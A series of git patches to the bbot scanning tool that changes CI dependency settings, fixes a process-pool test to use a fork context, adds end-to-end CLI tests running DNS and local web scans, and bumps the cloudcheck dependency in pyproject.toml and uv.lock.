b/.github/dependabot.yml @@ -1,6 +1,6 @@ version: 2 updates: - - package-ecosystem: "pip" + - package-ecosystem: "uv" directory: "/" schedule: interval: "weekly" From f8197cbea91494bd01bce43d98e135ace8e1829b Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 20:32:32 -0400 Subject: [PATCH 865/912] Use fork context in pool test to avoid forkserver hang on 3.14 Forkserver adds an intermediary process that stalls pool startup in CI. Use mp.get_context("fork") since PR_SET_PDEATHSIG is start-method-agnostic. Also drops the __main__ guard (not needed with fork context). --- bbot/test/test_step_1/test_helpers.py | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index d085c99b2e..d012f1f881 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1015,7 +1015,7 @@ def test_pool_workers_die_with_parent(): import tempfile script = """ -import os, sys, json, time, signal, ctypes, ctypes.util +import os, sys, json, time, signal, ctypes, ctypes.util, multiprocessing as mp from concurrent.futures import ProcessPoolExecutor _PR_SET_PDEATHSIG = 1 @@ -1028,15 +1028,17 @@ def _get_pid(): time.sleep(1) return os.getpid() -if __name__ == "__main__": - pool = ProcessPoolExecutor(max_workers=2, initializer=_init) - # submit concurrently so both workers are occupied (each takes 1s) - futs = [pool.submit(_get_pid) for _ in range(2)] - pids = list(set(f.result(timeout=30) for f in futs)) - # keep workers busy so they stay alive - [pool.submit(time.sleep, 3600) for _ in range(2)] - print(json.dumps(pids), flush=True) - time.sleep(3600) +# use fork context explicitly -- forkserver on 3.14 adds an intermediary process +# that complicates the parent-death chain; PR_SET_PDEATHSIG itself is start-method-agnostic +ctx = mp.get_context("fork") +pool = ProcessPoolExecutor(max_workers=2, initializer=_init, mp_context=ctx) +# submit concurrently so both workers are occupied (each takes 1s) +futs = [pool.submit(_get_pid) for _ in range(2)] +pids = list(set(f.result(timeout=30) for f in futs)) +# keep workers busy so they stay alive +[pool.submit(time.sleep, 3600) for _ in range(2)] +print(json.dumps(pids), flush=True) +time.sleep(3600) """ with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f: f.write(script) From 3165dc0ec527735fb38e7c6ca55403660d8529ab Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 20:59:30 -0400 Subject: [PATCH 866/912] Add E2E tests, bump cloudcheck to 11.x E2E tests install bbot into a temp venv and run real CLI scans: - install + help - DNS scan against one.one.one.one - web scan with spider preset against local HTTP server - clean shutdown (no orphaned processes) Bump cloudcheck >=11,<12 (10.x had undeclared httpx runtime dep). --- bbot/test/test_step_1/test_e2e.py | 205 ++++++++++++++++++++++++++++++ pyproject.toml | 2 +- uv.lock | 177 +++++++++++++------------- 3 files changed, 292 insertions(+), 92 deletions(-) create mode 100644 bbot/test/test_step_1/test_e2e.py diff --git a/bbot/test/test_step_1/test_e2e.py b/bbot/test/test_step_1/test_e2e.py new file mode 100644 index 0000000000..866259e2f4 --- /dev/null +++ b/bbot/test/test_step_1/test_e2e.py @@ -0,0 +1,205 @@ +""" +End-to-end tests that install bbot into a fresh virtualenv and run real CLI scans. + +Tests: + 1. Install from local source into a temp venv + 2. DNS-only scan against a real public target + 3. Web scan against a local HTTP server (exercises http + excavate) +""" + +import json +import subprocess +import sys +import os +import signal +import socket +import textwrap +import time + +import pytest + + +@pytest.fixture(scope="module") +def bbot_venv(tmp_path_factory): + """Create a fresh virtualenv and pip-install bbot from the local checkout.""" + venv_dir = tmp_path_factory.mktemp("bbot_e2e_venv") + repo_root = subprocess.check_output(["git", "rev-parse", "--show-toplevel"]).decode().strip() + + subprocess.check_call([sys.executable, "-m", "venv", str(venv_dir)]) + pip = str(venv_dir / "bin" / "pip") + bbot = str(venv_dir / "bin" / "bbot") + + subprocess.check_call([pip, "install", "-e", repo_root, "--quiet"], timeout=300) + assert os.path.isfile(bbot), f"bbot CLI not found at {bbot}" + return bbot + + +def _free_port(): + """Find a free TCP port.""" + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.bind(("127.0.0.1", 0)) + return s.getsockname()[1] + + +@pytest.fixture() +def local_webserver(tmp_path): + """Spawn a local HTTP server with a page that excavate can extract from.""" + port = _free_port() + webroot = tmp_path / "webroot" + webroot.mkdir() + + html = textwrap.dedent("""\ + <html> + <head><title>E2E Test Page + + Second Page + + + """) + (webroot / "index.html").write_text(html) + (webroot / "secondpage.html").write_text("second page") + + server = subprocess.Popen( + [sys.executable, "-m", "http.server", str(port), "--directory", str(webroot), "--bind", "127.0.0.1"], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + + # wait for server to be ready + for _ in range(20): + try: + with socket.create_connection(("127.0.0.1", port), timeout=0.5): + break + except OSError: + time.sleep(0.25) + else: + server.kill() + pytest.fail(f"Local web server failed to start on port {port}") + + yield f"http://127.0.0.1:{port}" + + server.terminate() + try: + server.wait(timeout=5) + except subprocess.TimeoutExpired: + server.kill() + + +def run_bbot(bbot_bin, *args, timeout=180): + """Run the bbot CLI as a real subprocess.""" + return subprocess.run( + [bbot_bin] + list(args), + capture_output=True, + text=True, + timeout=timeout, + ) + + +class TestE2E: + def test_install_and_help(self, bbot_venv): + """bbot installs from local source and -h works.""" + r = run_bbot(bbot_venv, "-h") + assert r.returncode == 0, f"bbot -h failed:\n{r.stderr[-2000:]}" + assert "usage" in (r.stdout + r.stderr).lower() + + def test_scan_dns(self, bbot_venv, tmp_path): + """DNS-only scan against one.one.one.one resolves and produces expected events.""" + scan_name = "e2e_dns" + r = run_bbot( + bbot_venv, + "-y", + "-t", + "one.one.one.one", + "-n", + scan_name, + "-c", + "dns.minimal=true", + f"home={tmp_path}", + "--json", + ) + assert r.returncode == 0, f"bbot exited {r.returncode}:\n{r.stderr[-2000:]}" + + events = [json.loads(line) for line in r.stdout.splitlines() if line.strip()] + types = {e["type"] for e in events} + assert "DNS_NAME" in types, f"no DNS_NAME events, got types: {types}" + + dns_events = [e for e in events if e["type"] == "DNS_NAME" and e["data"] == "one.one.one.one"] + assert dns_events, "no DNS_NAME event for one.one.one.one" + dns_event = dns_events[0] + assert "in-scope" in dns_event["tags"] + resolved = set(dns_event.get("resolved_hosts", [])) + assert resolved & {"1.1.1.1", "1.0.0.1"}, f"expected Cloudflare IPs in resolved_hosts, got {resolved}" + + # verify output files + scan_home = tmp_path / "scans" / scan_name + for f in ("output.json", "output.txt", "output.csv", "preset.yml", "scan.log"): + assert (scan_home / f).is_file(), f"{f} not found in scan output" + + def test_scan_web(self, bbot_venv, tmp_path, local_webserver): + """Web scan against a local server exercises http + excavate.""" + scan_name = "e2e_web" + r = run_bbot( + bbot_venv, + "-y", + "-t", + local_webserver, + "-n", + scan_name, + "-p", + "spider", + "-c", + f"home={tmp_path}", + "--json", + ) + assert r.returncode == 0, f"bbot exited {r.returncode}:\n{r.stderr[-2000:]}" + + events = [json.loads(line) for line in r.stdout.splitlines() if line.strip()] + types = {e["type"] for e in events} + + assert "URL" in types, f"no URL events, got types: {types}" + + url_events = [e for e in events if e["type"] == "URL"] + urls = [e.get("data_json", {}).get("url", "") for e in url_events] + assert any("secondpage.html" in u for u in urls), f"excavate+spider didn't find secondpage.html in {urls}" + + def test_clean_shutdown(self, bbot_venv, tmp_path): + """Scan completes cleanly: no errors, no orphaned processes.""" + import psutil + + r = run_bbot( + bbot_venv, + "-y", + "-t", + "one.one.one.one", + "-n", + "e2e_shutdown", + "-c", + "dns.minimal=true", + f"home={tmp_path}", + ) + assert r.returncode == 0, f"bbot exited {r.returncode}:\n{r.stderr[-2000:]}" + + # check output.json for clean completion + output_json = tmp_path / "scans" / "e2e_shutdown" / "output.json" + assert output_json.is_file(), f"output.json not found" + events = [json.loads(line) for line in output_json.read_text().splitlines() if line.strip()] + scan_events = [e for e in events if e.get("type") == "SCAN"] + statuses = [e.get("data_json", {}).get("status") for e in scan_events] + assert "FINISHED" in statuses, f"scan didn't reach FINISHED status, got: {statuses}" + + # no critical/error messages in stderr + for line in r.stderr.splitlines(): + assert "[CRIT]" not in line, f"critical error during scan: {line.strip()}" + + # no orphaned bbot processes + current = psutil.Process() + children = current.children(recursive=True) + bbot_orphans = [] + for p in children: + try: + name = p.name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + continue + if name == "bbot": + bbot_orphans.append(p) + assert not bbot_orphans, f"orphaned bbot processes after scan: {[(p.pid, p.cmdline()) for p in bbot_orphans]}" diff --git a/pyproject.toml b/pyproject.toml index 17ab2e86a2..9d8d97ccb6 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", - "cloudcheck>=10.0.0,<11", + "cloudcheck>=11.0.0,<12", "blasthttp>=0.9.0", "blastdns>=1.9.0,<2", "zstandard>=0.22,<1", diff --git a/uv.lock b/uv.lock index 67365b4dbe..07a90f06da 100644 --- a/uv.lock +++ b/uv.lock @@ -160,7 +160,7 @@ wheels = [ [[package]] name = "baddns" -version = "2.4.0" +version = "2.4.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "blastdns" }, @@ -173,9 +173,9 @@ dependencies = [ { name = "pyyaml" }, { name = "tldextract" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/98/2d/72f9da1236b85451821dfad9c5eba242af8e8b23e66f15ee8a83d3ae4472/baddns-2.4.0.tar.gz", hash = "sha256:5ee98f0ccc250057d73c85055b32f2c2878a9577e9ce44cf46ebe03773954c7a", size = 62731, upload-time = "2026-06-09T17:06:53.879Z" } +sdist = { url = "https://files.pythonhosted.org/packages/1d/91/62cef471fba0201e38d1d3cca0170ca0dd25c5417c7f2f2b495dc3903b3e/baddns-2.4.1.tar.gz", hash = "sha256:022e66a7d04ccbf239ba0a012c505dcc8d4246d240817c16802d1c833f1765fa", size = 62730, upload-time = "2026-06-17T23:12:10.841Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ea/b3/bb4e9dc73b87acba15804de8609b74b6b52f75e4282236e84c048bd1cb81/baddns-2.4.0-py3-none-any.whl", hash = "sha256:ad721dcc49fff9804b793cdfc743d9f4a5bd29ccb31843e1dc24a1bbf7854024", size = 121106, upload-time = "2026-06-09T17:06:52.717Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d1/f7cc99fbf5146becdefc01b68917f4de8b5d32b355fe8be42e4ae12e5538/baddns-2.4.1-py3-none-any.whl", hash = "sha256:bda752ecdb31fe27c753516ab476f0371d128fe5c7f1c8a677ba49ad9348d8e3", size = 121104, upload-time = "2026-06-17T23:12:09.661Z" }, ] [[package]] @@ -265,7 +265,7 @@ requires-dist = [ { name = "blastdns", specifier = ">=1.9.0,<2" }, { name = "blasthttp", specifier = ">=0.9.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, - { name = "cloudcheck", specifier = ">=10.0.0,<11" }, + { name = "cloudcheck", specifier = ">=11.0.0,<12" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, { name = "dnspython", specifier = ">=2.7.0,<2.9.0" }, { name = "idna", specifier = ">=3.4,<4" }, @@ -714,93 +714,88 @@ wheels = [ [[package]] name = "cloudcheck" -version = "10.0.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/b3/86/acb3aa69dc96c4a26fe92824430a2eef059ff52157c673094bdbf722c1c6/cloudcheck-10.0.1.tar.gz", hash = "sha256:bb630bc310b5618593e337d33f3ce92e8529e9611dd59fac2644ae7974672a14", size = 4708651, upload-time = "2026-05-05T15:56:44.525Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e3/43/0052b557bdcf402834e3bb390faf056c3c2b9670d7cc93e4e92bc981801d/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3750d560a02a50530259c9ef8fc4ad71091e3caaa305c0227d3638d8ef8ed850", size = 4229961, upload-time = "2026-05-05T16:11:15.055Z" }, - { url = "https://files.pythonhosted.org/packages/8e/61/0093a02721cc648b7aa3ec05b6679a8269e33bd65ac5b5fa254df4bbcb44/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:646b62988f6b9228a7f6c2d5c3099b5f8eb6e94d22a73a5dbe4f58a9ad556acb", size = 3584317, upload-time = "2026-05-05T16:11:32.822Z" }, - { url = "https://files.pythonhosted.org/packages/7d/cd/92712b5f201a597bfdc58c06bd6dbdc966314c365032d24f1bdcbe2fe95a/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e987ca69c32e0135f59c63279c6e0b04292ac2cf36590401c42af1e05a498505", size = 4166960, upload-time = "2026-05-05T16:12:07.697Z" }, - { url = "https://files.pythonhosted.org/packages/c9/df/dd0ae06aff9d85f285276c226b214395863e9188467f3ab4682c220a124a/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5814c31e0bc92e80d37aa521a5617f01781e49beac71e4a3bed4029fe8c12979", size = 4078007, upload-time = "2026-05-05T16:11:50.516Z" }, - { url = "https://files.pythonhosted.org/packages/66/74/ec90e6665986d0c8460f7c4b3f3075bf81539af5576bb863e967e7b54c88/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bacb2b87aa9031669685bbad9630cce9c1ebf3f2fc542118375df3878eab767", size = 4028477, upload-time = "2026-05-05T16:12:22.092Z" }, - { url = "https://files.pythonhosted.org/packages/31/5a/101f75f99ff2eddd455994eef714e9cb641708bd2e683ecd7ef2d1f194ad/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee46efc0da43ea166c91b7c62dc66831a0a11e3ca1c8ac46847de0f14b24a6c4", size = 4633924, upload-time = "2026-05-05T16:12:51.278Z" }, - { url = "https://files.pythonhosted.org/packages/0e/28/6ba7e12866a60cafd5a621ece47981b31c8a96a5a5e5459bfd9168127f45/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:26e9ac4db1a0fd2f4dfcdac1311a1d8b54df0002b6ba7547b848e259fcffdb33", size = 3916600, upload-time = "2026-05-05T16:13:09.367Z" }, - { url = "https://files.pythonhosted.org/packages/9c/fd/82fb734ccb9ceb4b948bc5aa42cff41b99f2b17e107f89704b6b41c89878/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a9b0fabfb7508fc4b045b23554f7d7758a66a792d5f758c10cd7ad76199ac39", size = 4261335, upload-time = "2026-05-05T16:13:27.853Z" }, - { url = "https://files.pythonhosted.org/packages/98/f8/4469e6129be3cb4cef2a380090d119e4c346ccbb7524d3678d0376509f3d/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c28d93b294c23f05dcec14e9ef870af9ea07c2682461a77411fb0e71a9fbc8a3", size = 4288972, upload-time = "2026-05-05T16:13:48.456Z" }, - { url = "https://files.pythonhosted.org/packages/81/89/b243156f5b99f0e928172ee0b08e5d70dc29333767c7c107e5e2a4acacc6/cloudcheck-10.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:c6ccb20f3cae5296f0f00b6b41735d0d24ea3ec419e712b0ee2812f799d5a4ec", size = 1415308, upload-time = "2026-05-05T16:14:06.972Z" }, - { url = "https://files.pythonhosted.org/packages/48/c5/8fdd3650fd77d1f4ddcb528a8241445327de9e1d74272864a8c9fec80078/cloudcheck-10.0.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:9e05be3c6169caa420187fb5c4bd8b50bea9f31f99ffc68ab983e73892b1b7c0", size = 1631844, upload-time = "2026-05-05T16:12:43.322Z" }, - { url = "https://files.pythonhosted.org/packages/18/53/fa09682bff4708f585a1c62d1335cf52298f7ce455776c7a350fbb5141c4/cloudcheck-10.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3e4a2c1c4593b40b8b4f0338ea11ef7318a3e0ee7158ab28bb8785e38f60bbf4", size = 1604122, upload-time = "2026-05-05T16:12:36.077Z" }, - { url = "https://files.pythonhosted.org/packages/72/2e/bb6bcae6e4d4ea51a9b4f28fda382df0e0be60292555ab5d27566ccce531/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec0b0e67ff3de1bcb0288a77e99fc305230fb1b594304acd10563a7d3260d6b3", size = 4230280, upload-time = "2026-05-05T16:11:17.141Z" }, - { url = "https://files.pythonhosted.org/packages/68/f6/b2300cc1ad074d54a4839ae8d2607453df998a95aa290c8dd2d3c29f637d/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4ce38c11bcc5ce0074e3cc68a3597af8a9e0e939bd482a7bea90366efa56052c", size = 3585444, upload-time = "2026-05-05T16:11:34.911Z" }, - { url = "https://files.pythonhosted.org/packages/95/5a/5e0b877cb55e2638a44a709e147911e5550f1ca3738e5d30ba71de01d734/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:324ffcc84e59a7dd3641f27d713c26c81283c294fb38d3339a294b9469d631d8", size = 4167347, upload-time = "2026-05-05T16:12:10.016Z" }, - { url = "https://files.pythonhosted.org/packages/9e/b5/8238ccf4e193b565d7081548aed1b96ba52c4af873801c8967d0904d9139/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:822f49cd91a4edf95f1ada43089a5735a0fb48957f1c531ef730c191e253e38f", size = 4077325, upload-time = "2026-05-05T16:11:52.424Z" }, - { url = "https://files.pythonhosted.org/packages/50/57/c04b9cff1bf182d650e989cb1e3865f13be5181a6e0a21887ce6caa34a12/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc7ed67e180a415899b91c14c2fbd78c692d4a68982cf82288c57ce6ab061670", size = 4024951, upload-time = "2026-05-05T16:12:24.362Z" }, - { url = "https://files.pythonhosted.org/packages/e1/e8/08de4221ffe5b45175529c9c5035efc78217ece1d0aeed5150335c06916d/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ca17859d6bd548b86fed6686a7f3410be56e614ee7e80b80430f375c2a3b667a", size = 4635178, upload-time = "2026-05-05T16:12:53.215Z" }, - { url = "https://files.pythonhosted.org/packages/a5/ee/be50dcc07bccb7e09a9320786b4cda4ab2ea3f289c3c26a10ddb51108d75/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:d5645268fd3bc8ac33cc0722f7523040fab55dcf362ec849034e78e157de7d4b", size = 3919843, upload-time = "2026-05-05T16:13:11.262Z" }, - { url = "https://files.pythonhosted.org/packages/3e/8b/08093e4733e8d0fa53802ccfdb6a079a2b90a8d352ee7cf30f7920c8eb53/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:643d8049165859ec4d16f43808870d661f84809bbb02fd7af014a02b6330b2a9", size = 4261624, upload-time = "2026-05-05T16:13:29.924Z" }, - { url = "https://files.pythonhosted.org/packages/b2/bb/11e43326cccabad8e8572c8f997a8b8f6f8e59e3f809e7bb24e45641b0e7/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e0351af3cefa63df82d8847bd692f50a0bfe97b6700cfda62dc6e1e80fc683a3", size = 4288154, upload-time = "2026-05-05T16:13:50.496Z" }, - { url = "https://files.pythonhosted.org/packages/15/93/b714fe38d7e6f9fc3c7b70d67bf25a1efa29a935f8602a0d537125f095a4/cloudcheck-10.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:d5a66b7a30df5e14d4960cf4c13e6bdde93079856fafb2070258c63abc283919", size = 1416219, upload-time = "2026-05-05T16:14:08.611Z" }, - { url = "https://files.pythonhosted.org/packages/f1/c4/676a14527eb3ca09fc3bd1ff69b978177aec834ceee46e793a0ba9894626/cloudcheck-10.0.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:4ab849688f17ce29f5d9317c1ef7a3972db50d47dfe2376b2fd03014053ddfd2", size = 1628061, upload-time = "2026-05-05T16:12:45.185Z" }, - { url = "https://files.pythonhosted.org/packages/9a/f7/bc56086f77f2600b87e5ee50dca8983e85927c145b030e3833709d51efee/cloudcheck-10.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7d564d8807f1027a227eb4ed6f61ef404fe171fb43dc259c8163a3b35c39a7b", size = 1600351, upload-time = "2026-05-05T16:12:38.162Z" }, - { url = "https://files.pythonhosted.org/packages/c6/01/808261f319e11c68b7ae41b463524a4cb2f549e152a21e3941bf390704f7/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ee26f9cd4c954a5cf536aaff7022176cc2febddee6c8df72497f2ac46cec594", size = 4225499, upload-time = "2026-05-05T16:11:19.042Z" }, - { url = "https://files.pythonhosted.org/packages/c6/47/4eee91931a3caeb8556d01efae3f3707614c56ee7d35eca57b03b3f8097b/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d9513f095fc1d6ccf32ae3f7228e958a05fdb98c7d462eb361b064c39ee196d1", size = 3582182, upload-time = "2026-05-05T16:11:37.054Z" }, - { url = "https://files.pythonhosted.org/packages/1e/f1/6cdf47b9604edf43712db16fa3576150f883710de8faed4a751846e23ae1/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9d7e2cdf8c98c9e5df614b7ba3c8d9b7846e3b26486550241fd652cded573a71", size = 4166074, upload-time = "2026-05-05T16:12:12.09Z" }, - { url = "https://files.pythonhosted.org/packages/1e/52/b108a69ecb62ea16f26364a0cfee14b5f29775cdda59b81677db32a14cc2/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c9764d638b15e8c36a7f8dc312aeae8262585747f74d10148e1bc74969efcbb4", size = 4073854, upload-time = "2026-05-05T16:11:54.296Z" }, - { url = "https://files.pythonhosted.org/packages/14/08/0ae2a7685c516d93e3668762f203bdd2efa99f3c7e8832e8da5aa6c124e9/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b3c92fdbcc9472c3f7cb3187e8a4409ee0193835812dd2c6f11db91b8d93d3f", size = 4023727, upload-time = "2026-05-05T16:12:26.198Z" }, - { url = "https://files.pythonhosted.org/packages/a9/75/6067574bae08775e17d53515a0a1a67a51874178dd7beede757b23d10ea5/cloudcheck-10.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0a79ade178c695f04e2f3e5f0183a623480858814bf83e29e8115047e2c57fd3", size = 4626503, upload-time = "2026-05-05T16:12:55.224Z" }, - { url = "https://files.pythonhosted.org/packages/af/1f/d973a9e08cc6ce3b8aa16a5789914c9c3efabe15f46df91fb66e6336f1cb/cloudcheck-10.0.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:755b02aabddc771c83f403a9e1cbc3a0641fce8d6fe2a48554a6c6be3c91463f", size = 3911430, upload-time = "2026-05-05T16:13:13.106Z" }, - { url = "https://files.pythonhosted.org/packages/61/f4/066babff787e51926955b436c9b6315785af5ce708889b705c518d5966ac/cloudcheck-10.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:09a9ba258db8994515e0247d3c1e962bc00524cd5a6d927c20bc195f8934361d", size = 4257249, upload-time = "2026-05-05T16:13:31.797Z" }, - { url = "https://files.pythonhosted.org/packages/e4/20/ce7f1bc6d7a1dc546c4dab97d5a6e5767816f6a1d90fcbdaf6dc8135cdaf/cloudcheck-10.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ca1b5b31d2ef6c2e4c6f13015cb54015c720a60db232de2f9ec6ff9336af3521", size = 4286731, upload-time = "2026-05-05T16:13:52.276Z" }, - { url = "https://files.pythonhosted.org/packages/91/48/2814bdcfea58b8957d1b2577fad89f13b6593fc2c4ea0600ab82cd21412b/cloudcheck-10.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:dc22b87b5828f7fcdee08866adde13550fa5bae74c7e89f10cc5432f3fcdb656", size = 1414007, upload-time = "2026-05-05T16:14:10.478Z" }, - { url = "https://files.pythonhosted.org/packages/d0/7f/6e7994f7c2bfc63027efec44ad56e328debb3ef297dcb426aad24f5b38d1/cloudcheck-10.0.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:bb83307745c20520a0d8fb4a99f9fc7105ecd849e4432f193e8c2b7f7dd214ea", size = 1627623, upload-time = "2026-05-05T16:12:46.928Z" }, - { url = "https://files.pythonhosted.org/packages/2e/8d/f442b2a4b47c5d9b8562dfff7e290affd463e4d588ef4894a2037e60c13c/cloudcheck-10.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:ea2a621b2b4262810b7ac0028d2a8406ec0c67c4e8641e0fafbb19bc7f9d6aed", size = 1599503, upload-time = "2026-05-05T16:12:39.912Z" }, - { url = "https://files.pythonhosted.org/packages/f9/5f/4d3b19eefd82fb784c8c667f1bf4679d53351ab5858976a47c7259b521bb/cloudcheck-10.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b0cf27ceb37f48cbbff4d3775768d99676d85dcda0a91fd0595a98df0440c98", size = 4225284, upload-time = "2026-05-05T16:11:21.005Z" }, - { url = "https://files.pythonhosted.org/packages/4a/00/50aecb64f0a282f93e08efb0e46932aeafd5e2172c0e2968f9d112879b18/cloudcheck-10.0.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ecd5832b0187e54f7bfd4a3962dea66e12cfb3699d80efbdc9b80b5668cc3786", size = 3582101, upload-time = "2026-05-05T16:11:39.176Z" }, - { url = "https://files.pythonhosted.org/packages/6d/8b/ef9bc788d24bb664af68f910a10c29e0616b23e040195e7ed505af6a89bb/cloudcheck-10.0.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:de4da9d5fecf4d5f5a0d879606afa43e2be70bfad399a10ed4351af0405cee4f", size = 4165524, upload-time = "2026-05-05T16:12:14.278Z" }, - { url = "https://files.pythonhosted.org/packages/e6/0c/88a112d285ad0eb734987c987f85828d9d84ed7797bfb2f4fa4d82ec9eca/cloudcheck-10.0.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:02d50ac30ebcfd530e9e01a2d8d1769f4379e57ab77f418f9af406dea32f8fe1", size = 4073561, upload-time = "2026-05-05T16:11:56.394Z" }, - { url = "https://files.pythonhosted.org/packages/7e/19/96dbe9d93bdec06a41b324170843de532fef49b1b5f0c42c7a43171a02fd/cloudcheck-10.0.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:542804909af28c219123e80a27ea56414375a7643ba70475e77922adac079ac3", size = 4022233, upload-time = "2026-05-05T16:12:27.964Z" }, - { url = "https://files.pythonhosted.org/packages/1d/52/8866aa26207a4227a4644cc45ba748a9775a56ec0a332bf252948b9952d7/cloudcheck-10.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:482d27c19c31f6a7449006d1a3a6483e47b27a555a43eafe637a5d0e0795dc82", size = 4626571, upload-time = "2026-05-05T16:12:57.103Z" }, - { url = "https://files.pythonhosted.org/packages/86/3e/30b2c65fa051e07d092b056a0785a6b549baa9f09004ced6d8a54d80d230/cloudcheck-10.0.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:a6c58ba70040de61f1563d42eab87393404ab638d14be8e9d68cb08516328b41", size = 3911162, upload-time = "2026-05-05T16:13:15.062Z" }, - { url = "https://files.pythonhosted.org/packages/8d/69/f9f2d3bc858ffcc98a417a28d939e64139d513d2163b485e1e584922636c/cloudcheck-10.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:645192e0daeb9d4a9c034f2eba4cf20dd88046d53307d56abe8f6903b7e8dad5", size = 4256986, upload-time = "2026-05-05T16:13:35.577Z" }, - { url = "https://files.pythonhosted.org/packages/47/a0/ae6279d7f0b8a59c4139bce7dbed83886f278b8b2fba718fafbd81b5d438/cloudcheck-10.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6fc4b3048fb002bb3afaef84b27319917ce1d08692be080e1d78c483f2b486df", size = 4286366, upload-time = "2026-05-05T16:13:54.194Z" }, - { url = "https://files.pythonhosted.org/packages/f3/8a/86715a462aac6408a705aefec486c4917c60267d583a53c7800a92b3350e/cloudcheck-10.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:41fae57e78cf3cadb0056e5f3e18117f1a5b68bfde3fd464cbdec8b052232869", size = 1413639, upload-time = "2026-05-05T16:14:12.372Z" }, - { url = "https://files.pythonhosted.org/packages/5e/ee/6713d77610aa986548a363e417805719ebd83f7a24edeb9ea79a385c7878/cloudcheck-10.0.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:285c03bbf52997ef84ed1a45e487f6fb1096ebaca81ff4a34d29ebb6f92c4cd0", size = 4225933, upload-time = "2026-05-05T16:11:22.966Z" }, - { url = 